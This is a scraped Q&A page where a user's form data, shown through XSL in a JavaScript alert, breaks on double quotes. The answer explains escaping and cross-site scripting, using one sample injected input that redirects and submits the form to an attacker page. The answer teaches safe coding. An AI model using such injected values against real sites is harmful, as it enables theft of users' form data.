Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 606177
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 13, 20262026-05-13T17:13:36+00:00 2026-05-13T17:13:36+00:00

I am not sure I am going to be able to explain this one

  • 0

I am not sure I am going to be able to explain this one right as it may be difficult for me to explain, but I am going to try.

I have a web form which it publish the data to a XML file, then it shows the data in another web page.

Everything works fine, but when the user types a double quote character, at the time the web page try to display the data it crashes due to the double quote symbol, which it make sense as it may be considered as an unfinished string by javascript.

There is also something it is worth mention, and that is that the problem only occurs on a section of the form, where consist of a table which its populated with an array created based of a collection of elements from the XML and then insert the text from the array to the table cells using the innerHTML.

eg.

XML

<node1>
  <node2> test "1</node2>
</node1>

<script type="text/javascript">
  alert("<xsl:value-of select="node1/node2">");
<script>

This will not work, maybe if I get any workaround to this, I can fix the rest.

Sorry guys if I have not explain myself well enough, I don’t know how to expose this problem any better. I would be happy to answer any question if you need it.

Please, note that if any of you have any answer, it has to be javascript, no jquery.

Thanks.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-13T17:13:36+00:00Added an answer on May 13, 2026 at 5:13 pm

    Always escape user input. Your bug is a benign example of the problems that can occur, but it means you’re also probably vulnerable to a code injection attack, such as cross-site scripting.

    Escaping

    Here’s what Wikipedia has to say about escaping. Here’s an overly-simplified example of what it means. Assume that you have the following JavaScript and that I haven’t made any silly errors in it (since I just made it up):

    function unsafeAlert() {
        alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
    }
    

    What happens if the user types in something like '); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"? Suddenly, your alert causes the form (which might contain sensitive data) to be submitted to an attacker’s page. This is obviously a problem. You should have some library code somewhere that escapes the value before you attempt to alert it. This will do things like putting slashes in front of quotes, etc. Also, you probably shouldn’t try to write such code yourself, since escaping logic is always at least 10 times harder than you think it will be. You should definitely be getting logic like this from a library somewhere.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Not sure what's going on here. I have a DateTime object, and when I
Not sure what exactly is going on here, but seems like in .NET 1.1
I'm not too sure what is going on here, but sometimes a particular file
Not sure how to ask a followup on SO, but this is in reference
Not sure if the title is quite right for the question but I can't
Not sure this is a programming question, but we use LaTeX for all our
Not sure if this is possible or if I'm expressing correctly what I'm looking
Not sure if anyone listened to Hanselminutes episodes 134 and 135, but at the
Not sure if this is intended behavior or a bug or a wrong function
Not sure exactly how to word this question ... so edits are welcomed! Anyway

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.